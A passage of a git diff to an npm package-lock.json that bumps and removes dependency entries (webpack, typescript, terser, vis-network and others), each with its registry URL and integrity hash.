"resolved": "https://registry.npmjs.org/resolve/-/resolve-1.20.0.tgz", - "integrity": "sha512-wENBPt4ySzg4ybFQW2TT1zMQucPK95HSh/nq2CFTZVOGut2+pQvSsgtda4d26YrYcr067wjbmzOG8byDPBX63A==", - "dev": true, - "requires": { - "is-core-module": "^2.2.0", - "path-parse": "^1.0.6" + "cssesc": "^3.0.0", + "util-deprecate": "^1.0.2" } }, "resolve-from": { @@ -13927,15 +12225,6 @@ "glob": "^7.1.3" } }, - "semver": { - "version": "7.3.5", - "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.5.tgz", - "integrity": "sha512-PoeGJYh8HK4BTO/a9Tf6ZG3veo/A7ZVsYrSA6J8ny9nb3B1VrpkuN+z9OE5wfE5p6H4LchYZsegiQgbJD94ZFQ==", - "dev": true, - "requires": { - "lru-cache": "^6.0.0" - } - }, "slash": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz", @@ -13953,33 +12242,13 @@ "is-fullwidth-code-point": "^3.0.0" } }, - "string-width": { - "version": "4.2.2", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.2.tgz", - "integrity": "sha512-XBJbT3N4JhVumXE0eoLU9DCjcaF92KLNqTmFCnG1pf8duUxFGwtP6AD6nkjw9a3IdiRtL3E2w3JDiE/xi3vOeA==", - "dev": true, - "requires": { - "emoji-regex": "^8.0.0", - "is-fullwidth-code-point": "^3.0.0", - "strip-ansi": "^6.0.0" - } - }, "strip-ansi": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.0.tgz", - "integrity": "sha512-AuvKTrTfQNYNIctbR1K/YGTR1756GycPsg7b9bdV9Duqur4gv6aKqHXah67Z8ImS7WEz5QVcOtlfW2rZEugt6w==", + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", "dev": true, "requires": { - "ansi-regex": "^5.0.0" - } - }, - "strip-indent": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/strip-indent/-/strip-indent-3.0.0.tgz", - "integrity": "sha512-laJTa3Jb+VQpaC6DseHhF7dXVqHTfJPCRDaEbid/drOhgitgYku/letMUqOXFoWV0zIIUbjpdH2t+tYj4bQMRQ==", - "dev": true, - "requires": { - "min-indent": "^1.0.0" + "ansi-regex": "^5.0.1" } }, "supports-color": { @@ -13992,60 +12261,24 @@ } }, "table": { - "version": "6.0.9", - "resolved": "https://registry.npmjs.org/table/-/table-6.0.9.tgz", - "integrity": "sha512-F3cLs9a3hL1Z7N4+EkSscsel3z55XT950AvB05bwayrNg5T1/gykXtigioTAjbltvbMSJvvhFCbnf6mX+ntnJQ==", + "version": "6.7.2", + "resolved": "https://registry.npmjs.org/table/-/table-6.7.2.tgz", + "integrity": "sha512-UFZK67uvyNivLeQbVtkiUs8Uuuxv24aSL4/Vil2PJVtMgU8Lx0CYkP12uCGa3kjyQzOSgV1+z9Wkb82fCGsO0g==", "dev": true, "requires": { "ajv": "^8.0.1", - "is-boolean-object": "^1.1.0", - "is-number-object": "^1.0.4", - "is-string": "^1.0.5", "lodash.clonedeep": "^4.5.0", - "lodash.flatten": "^4.4.0", "lodash.truncate": "^4.4.2", "slice-ansi": "^4.0.0", - "string-width": "^4.2.0" + "string-width": "^4.2.3", + "strip-ansi": "^6.0.1" } }, - "to-regex-range": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", - "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", - "dev": true, - "requires": { - "is-number": "^7.0.0" - } - }, - "trim-newlines": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/trim-newlines/-/trim-newlines-3.0.1.tgz", - "integrity": "sha512-c1PTsA3tYrIsLGkJkzHF+w9F2EyxfXGo4UyJc4pFL++FMjnq0HJS69T3M7d//gKrFKwy429bouPescbjecU+Zw==", - "dev": true - }, - "type-fest": { - "version": "0.18.1", - "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.18.1.tgz", - "integrity": "sha512-OIAYXk8+ISY+qTOwkHtKqzAuxchoMiD9Udx+FSGQDuiRR+PJKJHc2NJAXlbhkGwTt/4/nKZxELY1w3ReWOL8mw==", - "dev": true - }, "v8-compile-cache": { "version": "2.3.0", "resolved": "https://registry.npmjs.org/v8-compile-cache/-/v8-compile-cache-2.3.0.tgz", "integrity": "sha512-l8lCEmLcLYZh4nbunNZvQCJc5pv7+RCwa8q/LdUx8u7lsWvPDKmpodJAJNwkAhJC//dFY48KuIEmjtd4RViDrA==", "dev": true - }, - "yallist": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", - "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", - "dev": true - }, - "yargs-parser": { - "version": "20.2.7", - "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-20.2.7.tgz", - "integrity": "sha512-FiNkvbeHzB/syOjIUxFDCnhSfzAL8R5vs40MgLFBorXACCOAEaWu0gRZl14vG8MR9AOJIZbmkjhusqBYZ3HTHw==", - "dev": true } } }, @@ -14072,11 +12305,6 @@ "integrity": "sha1-WPcc7jvVGbWdSyqEO2x95krAR2Q=", "dev": true }, - "symbol-observable": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/symbol-observable/-/symbol-observable-1.2.0.tgz", - "integrity": "sha512-e900nM8RRtGhlV36KGEU9k65K3mPb1WV70OdjfxlG2EAuM1noi/E/BaW/uMhL7bPEssK8QV57vN3esixjUvcXQ==" - }, "table": { "version": "5.4.6", "resolved": "https://registry.npmjs.org/table/-/table-5.4.6.tgz", @@ -14130,9 +12358,9 @@ "dev": true }, "terser": { - "version": "5.8.0", - "resolved": "https://registry.npmjs.org/terser/-/terser-5.8.0.tgz", - "integrity": "sha512-f0JH+6yMpneYcRJN314lZrSwu9eKkUFEHLN/kNy8ceh8gaRiLgFPJqrB9HsXjhEGdv4e/ekjTOFxIlL6xlma8A==", + "version": "5.9.0", + "resolved": "https://registry.npmjs.org/terser/-/terser-5.9.0.tgz", + "integrity": "sha512-h5hxa23sCdpzcye/7b8YqbE5OwKca/ni0RQz1uRX3tGh8haaGHqcuSqbGRybuAKNdntZ0mDgFNXPJ48xQ2RXKQ==", "dev": true, "requires": { "commander": "^2.20.0", @@ -14242,11 +12470,6 @@ "integrity": "sha512-eHY7nBftgThBqOyHGVN+l8gF0BucP09fMo0oO/Lb0w1OF80dJv+lDVpXG60WMQvkcxAkNybKsrEIE3ZtKGmPrA==", "dev": true }, - "timsort": { - "version": "0.3.0", - "resolved": "https://registry.npmjs.org/timsort/-/timsort-0.3.0.tgz", - "integrity": "sha1-QFQRqOfmM5/mTbmiNN4R3DHgK9Q=" - }, "tiny-invariant": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/tiny-invariant/-/tiny-invariant-1.1.0.tgz", @@ -14271,50 +12494,13 @@ "resolved": "https://registry.npmjs.org/to-fast-properties/-/to-fast-properties-2.0.0.tgz", "integrity": "sha1-3F5pjL0HkmW8c+A3doGk5Og/YW4=" }, - "to-object-path": { - "version": "0.3.0", - "resolved": "https://registry.npmjs.org/to-object-path/-/to-object-path-0.3.0.tgz", - "integrity": "sha1-KXWIt7Dn4KwI4E5nL4XB9JmeF68=", - "dev": true, - "optional": true, - "requires": { - "kind-of": "^3.0.2" - }, - "dependencies": { - "kind-of": { - "version": "3.2.2", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", - "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", - "dev": true, - "optional": true, - "requires": { - "is-buffer": "^1.1.5" - } - } - } - }, - "to-regex": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/to-regex/-/to-regex-3.0.2.tgz", - "integrity": "sha512-FWtleNAtZ/Ki2qtqej2CXTOayOH9bHDQF+Q48VpWyDXjbYxA4Yz8iDB31zXOBUlOHHKidDbqGVrTUvQMPmBGBw==", - "dev": true, - "optional": true, - "requires": { - "define-property": "^2.0.2", - "extend-shallow": "^3.0.2", - "regex-not": "^1.0.2", - "safe-regex": "^1.1.0" - } - }, "to-regex-range": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-2.1.1.tgz", - "integrity": "sha1-fIDBe53+vlmeJzZ+DU3VWQFB2zg=", + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", "dev": true, - "optional": true, "requires": { - "is-number": "^3.0.0", - "repeat-string": "^1.6.1" + "is-number": "^7.0.0" } }, "toggle-selection": { @@ -14328,6 +12514,12 @@ "integrity": "sha512-yaOH/Pk/VEhBWWTlhI+qXxDFXlejDGcQipMlyxda9nthulaxLZUNcUqFxokp0vcYnvteJln5FNQDRrxj3YcbVw==", "dev": true }, + "trim-newlines": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/trim-newlines/-/trim-newlines-3.0.1.tgz", + "integrity": "sha512-c1PTsA3tYrIsLGkJkzHF+w9F2EyxfXGo4UyJc4pFL++FMjnq0HJS69T3M7d//gKrFKwy429bouPescbjecU+Zw==", + "dev": true + }, "trough": { "version": "1.0.5", "resolved": "https://registry.npmjs.org/trough/-/trough-1.0.5.tgz", @@ -14335,9 +12527,9 @@ "dev": true }, "ts-loader": { - "version": "8.1.0", - "resolved": "https://registry.npmjs.org/ts-loader/-/ts-loader-8.1.0.tgz", - "integrity": "sha512-YiQipGGAFj2zBfqLhp28yUvPP9jUGqHxRzrGYuc82Z2wM27YIHbElXiaZDc93c3x0mz4zvBmS6q/DgExpdj37A==", + "version": "8.3.0", + "resolved": "https://registry.npmjs.org/ts-loader/-/ts-loader-8.3.0.tgz", + "integrity": "sha512-MgGly4I6cStsJy27ViE32UoqxPTN9Xly4anxxVyaIWR+9BGxboV4EyJBGfR3RePV7Ksjj3rHmPZJeIt+7o4Vag==", "dev": true, "requires": { "chalk": "^4.1.0", @@ -14356,19 +12548,10 @@ "color-convert": "^2.0.1" } }, - "braces": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", - "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", - "dev": true, - "requires": { - "fill-range": "^7.0.1" - } - }, "chalk": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.0.tgz", - "integrity": "sha512-qwx12AxXe2Q5xQ43Ac//I6v5aXTipYrSESdOgzrN+9XjgEpyjpKuvSGaN4qE93f7TQTlerQQ8S+EQ0EyDoVL1A==", + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", "dev": true, "requires": { "ansi-styles": "^4.1.0", @@ -14390,27 +12573,12 @@ "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", "dev": true }, - "fill-range": { - "version": "7.0.1", - "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", - "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", - "dev": true, - "requires": { - "to-regex-range": "^5.0.1" - } - }, "has-flag": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", "dev": true }, - "is-number": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", - "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", - "dev": true - }, "json5": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.0.tgz", @@ -14431,25 +12599,6 @@ "json5": "^2.1.2" } }, - "lru-cache": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", - "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", - "dev": true, - "requires": { - "yallist": "^4.0.0" - } - }, - "micromatch": { - "version": "4.0.4", - "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.4.tgz", - "integrity": "sha512-pRmzw/XUcwXGpD9aI9q/0XOwLNygjETJ8y0ao0wdqprrzDa4YnxLcz7fQRZr8voh8V10kGhABbNcHVk5wHgWwg==", - "dev": true, - "requires": { - "braces": "^3.0.1", - "picomatch": "^2.2.3" - } - }, "semver": { "version": "7.3.5", "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.5.tgz", @@ -14467,21 +12616,6 @@ "requires": { "has-flag": "^4.0.0" } - }, - "to-regex-range": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", - "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", - "dev": true, - "requires": { - "is-number": "^7.0.0" - } - }, - "yallist": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", - "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", - "dev": true } } }, @@ -14492,12 +12626,9 @@ "dev": true }, "tsparticles": { - "version": "1.26.2", - "resolved": "https://registry.npmjs.org/tsparticles/-/tsparticles-1.26.2.tgz", - "integrity": "sha512-rUOd8lrpZwcEIa0Ft+QzS73Eorl4xo6neVDNGFPxakSOMbOPL7OHdzjbqZgoE93dbRBzJlguhRMGZiRRuH86gQ==", - "requires": { - "pathseg": "^1.2.0" - } + "version": "1.35.4", + "resolved": "https://registry.npmjs.org/tsparticles/-/tsparticles-1.35.4.tgz", + "integrity": "sha512-usrQNLXoQKwBz3oOvtrwQCwCFWEX6mb4kPeJG+o9Zse119Sl/zWnPPLu9owQ3iD4hyQqGlXUjUWRwxvUBY+hPA==" }, "type-check": { "version": "0.3.2", @@ -14534,9 +12665,9 @@ } }, "typescript": { - "version": "4.2.4", - "resolved": "https://registry.npmjs.org/typescript/-/typescript-4.2.4.tgz", - "integrity": "sha512-V+evlYHZnQkaz8TRBuxTA92yZBPotr5H+WhQ7bD3hZUndx5tGOa1fuCgeSjxAzM1RiN5IzvadIXTVefuuwZCRg==", + "version": "4.4.3", + "resolved": "https://registry.npmjs.org/typescript/-/typescript-4.4.3.tgz", + "integrity": "sha512-4xfscpisVgqqDfPaJo5vkd+Qd/ItkoagnHpufr+i2QCHBsNYp+G7UAoyFl8aPtx879u38wPV65rZ8qbGZijalA==", "dev": true }, "ua-parser-js": { @@ -14578,14 +12709,6 @@ "has-bigints": "^1.0.1", "has-symbols": "^1.0.2", "which-boxed-primitive": "^1.0.2" - }, - "dependencies": { - "has-symbols": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.2.tgz", - "integrity": "sha512-chXa79rL/UC2KlX17jo3vRGz0azaWEx5tGqZg5pO3NUyEJVB17dMruQlzCCOfUvElghKcm5194+BCRvi2Rv/Gw==", - "dev": true - } } }, "uncontrollable": { @@ -14600,37 +12723,37 @@ } }, "unicode-canonical-property-names-ecmascript": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/unicode-canonical-property-names-ecmascript/-/unicode-canonical-property-names-ecmascript-1.0.4.tgz", - "integrity": "sha512-jDrNnXWHd4oHiTZnx/ZG7gtUTVp+gCcTTKr8L0HjlwphROEW3+Him+IpvC+xcJEFegapiMZyZe02CyuOnRmbnQ==", + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/unicode-canonical-property-names-ecmascript/-/unicode-canonical-property-names-ecmascript-2.0.0.tgz", + "integrity": "sha512-yY5PpDlfVIU5+y/BSCxAJRBIS1Zc2dDG3Ujq+sR0U+JjUevW2JhocOF+soROYDSaAezOzOKuyyixhD6mBknSmQ==", "dev": true }, "unicode-match-property-ecmascript": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/unicode-match-property-ecmascript/-/unicode-match-property-ecmascript-1.0.4.tgz", - "integrity": "sha512-L4Qoh15vTfntsn4P1zqnHulG0LdXgjSO035fEpdtp6YxXhMT51Q6vgM5lYdG/5X3MjS+k/Y9Xw4SFCY9IkR0rg==", + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/unicode-match-property-ecmascript/-/unicode-match-property-ecmascript-2.0.0.tgz", + "integrity": "sha512-5kaZCrbp5mmbz5ulBkDkbY0SsPOjKqVS35VpL9ulMPfSl0J0Xsm+9Evphv9CoIZFwre7aJoa94AY6seMKGVN5Q==", "dev": true, "requires": { - "unicode-canonical-property-names-ecmascript": "^1.0.4", - "unicode-property-aliases-ecmascript": "^1.0.4" + "unicode-canonical-property-names-ecmascript": "^2.0.0", + "unicode-property-aliases-ecmascript": "^2.0.0" } }, "unicode-match-property-value-ecmascript": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/unicode-match-property-value-ecmascript/-/unicode-match-property-value-ecmascript-1.2.0.tgz", - "integrity": "sha512-wjuQHGQVofmSJv1uVISKLE5zO2rNGzM/KCYZch/QQvez7C1hUhBIuZ701fYXExuufJFMPhv2SyL8CyoIfMLbIQ==", + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/unicode-match-property-value-ecmascript/-/unicode-match-property-value-ecmascript-2.0.0.tgz", + "integrity": "sha512-7Yhkc0Ye+t4PNYzOGKedDhXbYIBe1XEQYQxOPyhcXNMJ0WCABqqj6ckydd6pWRZTHV4GuCPKdBAUiMc60tsKVw==", "dev": true }, "unicode-property-aliases-ecmascript": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/unicode-property-aliases-ecmascript/-/unicode-property-aliases-ecmascript-1.1.0.tgz", - "integrity": "sha512-PqSoPh/pWetQ2phoj5RLiaqIk4kCNwoV3CI+LfGmWLKI3rE3kl1h59XpX2BjgDrmbxD9ARtQobPGU1SguCYuQg==", + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/unicode-property-aliases-ecmascript/-/unicode-property-aliases-ecmascript-2.0.0.tgz", + "integrity": "sha512-5Zfuy9q/DFr4tfO7ZPeVXb1aPoeQSdeFMLpYuFebehDAhbuevLs5yxSZmIFN1tP5F9Wl4IpJrYojg85/zgyZHQ==", "dev": true }, "unified": { - "version": "9.2.1", - "resolved": "https://registry.npmjs.org/unified/-/unified-9.2.1.tgz", - "integrity": "sha512-juWjuI8Z4xFg8pJbnEZ41b5xjGUWGHqXALmBZ3FC3WX0PIx1CZBIIJ6mXbYMcf6Yw4Fi0rFUTA1cdz/BglbOhA==", + "version": "9.2.2", + "resolved": "https://registry.npmjs.org/unified/-/unified-9.2.2.tgz", + "integrity": "sha512-Sg7j110mtefBD+qunSLO1lqOEKdrwBFBrR6Qd8f4uwkhWNlbkaqwHse6e7QvD3AP/MNoJdEDLaf8OxYyoWgorQ==", "dev": true, "requires": { "bail": "^1.0.0", @@ -14639,27 +12762,6 @@ "is-plain-obj": "^2.0.0", "trough": "^1.0.0", "vfile": "^4.0.0" - }, - "dependencies": { - "is-buffer": { - "version": "2.0.5", - "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-2.0.5.tgz", - "integrity": "sha512-i2R6zNFDwgEHJyQUtJEk0XFi1i0dPFn/oqjK3/vPCcDeJvW5NQ83V8QbicfF1SupOaB0h8ntgBC2YiE7dfyctQ==", - "dev": true - } - } - }, - "union-value": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/union-value/-/union-value-1.0.1.tgz", - "integrity": "sha512-tJfXmxMeWYnczCVs7XAEvIV7ieppALdyepWMkHkwciRpZraG/xwT+s2JN8+pr1+8jCRf80FFzvr+MpQeeoF4Xg==", - "dev": true, - "optional": true, - "requires": { - "arr-union": "^3.1.0", - "get-value": "^2.0.6", - "is-extendable": "^0.1.1", - "set-value": "^2.0.1" } }, "uniq": { @@ -14704,63 +12806,12 @@ "integrity": "sha1-sr9O6FFKrmFltIF4KdIbLvSZBOw=", "dev": true }, - "unset-value": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/unset-value/-/unset-value-1.0.0.tgz", - "integrity": "sha1-g3aHP30jNRef+x5vw6jtDfyKtVk=", - "dev": true, - "optional": true, - "requires": { - "has-value": "^0.3.1", - "isobject": "^3.0.0" - }, - "dependencies": { - "has-value": { - "version": "0.3.1", - "resolved": "https://registry.npmjs.org/has-value/-/has-value-0.3.1.tgz", - "integrity": "sha1-ex9YutpiyoJ+wKIHgCVlSEWZXh8=", - "dev": true, - "optional": true, - "requires": { - "get-value": "^2.0.3", - "has-values": "^0.1.4", - "isobject": "^2.0.0" - }, - "dependencies": { - "isobject": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/isobject/-/isobject-2.1.0.tgz", - "integrity": "sha1-8GVWEJaj8dou9GJy+BXIQNh+DIk=", - "dev": true, - "optional": true, - "requires": { - "isarray": "1.0.0" - } - } - } - }, - "has-values": { - "version": "0.1.4", - "resolved": "https://registry.npmjs.org/has-values/-/has-values-0.1.4.tgz", - "integrity": "sha1-bWHeldkd/Km5oCCJrThL/49it3E=", - "dev": true, - "optional": true - } - } - }, "untildify": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/untildify/-/untildify-4.0.0.tgz", "integrity": "sha512-KK8xQ1mkzZeg9inewmFVDNkg3l5LUhoq9kN6iWYB/CC9YMG8HA+c1Q8HwDe6dEX7kErrEVNVBO3fWsVq5iDgtw==", "dev": true }, - "upath": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/upath/-/upath-1.2.0.tgz", - "integrity": "sha512-aZwGpamFO61g3OlfT7OQCHqhGnW43ieH9WZeP7QxN/G/jS4jfqUkZxoryvJgVPEcrl5NL/ggHsSmLMHuH64Lhg==", - "dev": true, - "optional": true - }, "upper-case": { "version": "1.1.3", "resolved": "https://registry.npmjs.org/upper-case/-/upper-case-1.1.3.tgz", @@ -14775,13 +12826,6 @@ "punycode": "^2.1.0" } }, - "urix": { - "version": "0.1.0", - "resolved": "https://registry.npmjs.org/urix/-/urix-0.1.0.tgz", - "integrity": "sha1-2pN/emLiH+wf0Y1Js1wpNQZ6bHI=", - "dev": true, - "optional": true - }, "url": { "version": "0.11.0", "resolved": "https://registry.npmjs.org/url/-/url-0.11.0.tgz", @@ -14824,13 +12868,6 @@ } } }, - "use": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/use/-/use-3.1.1.tgz", - "integrity": "sha512-cwESVXlO3url9YWlFW/TA9cshCEhtu7IKJ/p5soJ/gGpj7vbvFrAY/eIioQ6Dw23KjZhYgiIo8HOs1nQ2vr/oQ==", - "dev": true, - "optional": true - }, "util-deprecate": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", @@ -14850,10 +12887,9 @@ "dev": true }, "uuid": { - "version": "3.4.0", - "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.4.0.tgz", - "integrity": "sha512-HjSDRw6gZE5JMggctHBcjVak08+KEVhSIiDzFnT9S9aegmp85S/bReBVTb4QTFaRNptJ9kuYaNhnbNEOkbKb/A==", - "dev": true + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-2.0.3.tgz", + "integrity": "sha1-Z+LoY3lyFVMN/zGOW/nc6/1Hsho=" }, "v8-compile-cache": { "version": "2.1.0", @@ -14892,14 +12928,6 @@ "is-buffer": "^2.0.0", "unist-util-stringify-position": "^2.0.0", "vfile-message": "^2.0.0" - }, - "dependencies": { - "is-buffer": { - "version": "2.0.5", - "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-2.0.5.tgz", - "integrity": "sha512-i2R6zNFDwgEHJyQUtJEk0XFi1i0dPFn/oqjK3/vPCcDeJvW5NQ83V8QbicfF1SupOaB0h8ntgBC2YiE7dfyctQ==", - "dev": true - } } }, "vfile-message": { @@ -14913,44 +12941,14 @@ } }, "vis-data": { - "version": "6.5.1", - "resolved": "https://registry.npmjs.org/vis-data/-/vis-data-6.5.1.tgz", - "integrity": "sha512-bOIG0REskXot0JbuAYLFRR61xf4ls+nIYNnZ7X04iq2y/Vrg896A/bfquQjhsERZipOmCgllAR0d58OGyo9s0g==" + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/vis-data/-/vis-data-7.1.2.tgz", + "integrity": "sha512-RPSegFxEcnp3HUEJSzhS2vBdbJ2PSsrYYuhRlpHp2frO/MfRtTYbIkkLZmPkA/Sg3pPfBlR235gcoKbtdm4mbw==" }, "vis-network": { - "version": "5.4.1", - "resolved": "https://registry.npmjs.org/vis-network/-/vis-network-5.4.1.tgz", - "integrity": "sha512-hUJlFWoCmLup6IxoXCr//OO2ZCkC8jrXEkkHLG1DhBgB54Y3K33+e5q4tc436inMlGzfqqaKTIToNbOGr8Szww==", - "requires": { - "@egjs/hammerjs": "^2.0.15", - "component-emitter": "^1.3.0", - "keycharm": "^0.2.0", - "moment": "^2.24.0", - "timsort": "^0.3.0", - "vis-data": "^6.1.1", - "vis-util": "^1.1.6" - } - }, - "vis-util": { - "version": "1.1.10", - "resolved": "https://registry.npmjs.org/vis-util/-/vis-util-1.1.10.tgz", - "integrity": "sha512-8hGSxsFi2ogYYweClQyITzWnirWgQ8p0i9M4d3OXMuUO8vjXrf+2zHOYI9OZbtUduxAWuMEePnS9BXDtPJmJ7Q==", - "requires": { - "moment": "2.24.0", - "vis-uuid": "1.1.3" - }, - "dependencies": { - "moment": { - "version": "2.24.0", - "resolved": "https://registry.npmjs.org/moment/-/moment-2.24.0.tgz", - "integrity": "sha512-bV7f+6l2QigeBBZSM/6yTNq4P2fNpSWj/0e7jQcy87A8e7o2nAfP/34/2ky5Vw4B9S446EtIhodAzkFCcR4dQg==" - } - } - }, - "vis-uuid": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/vis-uuid/-/vis-uuid-1.1.3.tgz", - "integrity": "sha512-2B6XdY1bkzbUh+TugmnAaFa61KO9R5pzBzIuFIm8a9FrkbxIdSmQXV+FbfkL8QunkQV/bT0JDLQ2puqCS2+0Og==" + "version": "9.1.0", + "resolved": "https://registry.npmjs.org/vis-network/-/vis-network-9.1.0.tgz", + "integrity": "sha512-rx96L144RJWcqOa6afjiFyxZKUerRRbT/YaNMpsusHdwzxrVTO2LlduR45PeJDEztrAf3AU5l2zmiG+1ydUZCw==" }, "warning": { "version": "4.0.3", @@ -14980,9 +12978,9 @@ } }, "webpack": { - "version": "5.53.0", - "resolved": "https://registry.npmjs.org/webpack/-/webpack-5.53.0.tgz", - "integrity": "sha512-RZ1Z3z3ni44snoWjfWeHFyzvd9HMVYDYC5VXmlYUT6NWgEOWdCNpad5Fve2CzzHoRED7WtsKe+FCyP5Vk4pWiQ==", + "version": "5.58.0", + "resolved": "https://registry.npmjs.org/webpack/-/webpack-5.58.0.tgz", + "integrity": "sha512-xc2k5MLbR1iah24Z5xUm1nBh1PZXEdUnrX6YkTSOScq/VWbl5JCLREXJzGYqEAUbIO8tZI+Dzv82lGtnuUnVCQ==", "dev": true, "requires": { "@types/eslint-scope": "^3.7.0", @@ -14994,8 +12992,8 @@ "acorn-import-assertions": "^1.7.6", "browserslist": "^4.14.5", "chrome-trace-event": "^1.0.2", - "enhanced-resolve": "^5.8.0", - "es-module-lexer": "^0.7.1", + "enhanced-resolve": "^5.8.3", + "es-module-lexer": "^0.9.0", "eslint-scope": "5.1.1", "events": "^3.2.0", "glob-to-regexp": "^0.4.1", @@ -15042,9 +13040,9 @@ "dev": true }, "enhanced-resolve": { - "version": "5.8.2", - "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.8.2.tgz", - "integrity": "sha512-F27oB3WuHDzvR2DOGNTaYy0D5o0cnrv8TeI482VM4kYgQd/FT9lUQwuNsJ0oOHtBUq7eiW5ytqzp7nBFknL+GA==", + "version": "5.8.3", + "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.8.3.tgz", + "integrity": 